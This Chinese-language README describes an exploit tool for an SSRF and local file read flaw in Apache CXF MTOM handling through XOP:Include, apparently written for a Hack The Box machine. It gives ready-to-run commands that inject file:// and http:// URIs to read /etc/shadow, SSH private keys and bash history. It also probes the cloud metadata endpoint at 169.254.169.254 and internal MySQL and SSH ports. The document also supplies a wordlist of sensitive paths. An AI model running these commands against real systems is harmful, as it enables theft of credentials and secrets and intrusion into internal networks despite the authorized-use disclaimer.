作者: 0xmid00
漏洞: MTOM 请求中通过 XOP:Include 实现 SSRF / 本地文件读取
影响: Apache CXF < 3.5.5 及 < 3.4.10
Apache CXF 处理包含 XOP:Include 元素的 MTOM(消息传输优化机制)消息。XOP:Include 的 href 属性本应引用同一 MTOM 多部分消息中的附件。
然而,在受影响版本中,CXF 会跟随 href 中提供的任意 URI,包括:
file:///etc/passwd → 读取本地文件(LFI)http://127.0.0.1:PORT/ → 探测内部服务(SSRF)攻击者只需发送一个包含至少一个任意类型参数的 SOAP 请求即可触发。
pip install requests
python3 exploit.py -r request.txt [选项]
将原始 HTTP 请求按捕获时的原样保存到 .txt 文件中(例如从 Burp 导出):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
该利用工具会自动将其转换为 MTOM 格式——您无需手动操作。
python3 exploit.py -r request.txt --mode 1
尝试在每个叶子 XML 元素中注入 file:///etc/passwd,并报告哪些元素返回了文件内容。
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
先运行模式 1 找到可注入字段,然后通过该字段对字典中的所有路径进行模糊测试。
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
跳过字段检测,直接进行模糊测试。
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
您也可以使用 SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>要探测内部 HTTP 服务而非读取文件:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
或将 --read 值改为任意内部 URL:
--read http://169.254.169.254/latest/meta-data/ (AWS 元数据)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (SSH 横幅)
此工具仅用于授权渗透测试和 CTF 挑战。作者对任何滥用行为不承担责任。
| 参数 | 描述 |
|---|
-r, --request | 原始 HTTP 请求文件的路径(必需) |
--mode 1 | 使用 /etc/passwd 自动检测可注入的 XML 字段 |
--mode 2 | 使用文件路径字典进行模糊测试 |
--field NAME | 指定要注入的 XML 字段(跳过自动检测) |
--wordlist PATH | 模式 2 使用的文件路径字典 |
--read PATH | 读取单个特定文件 |
-v, --verbose | 显示详细的请求信息 |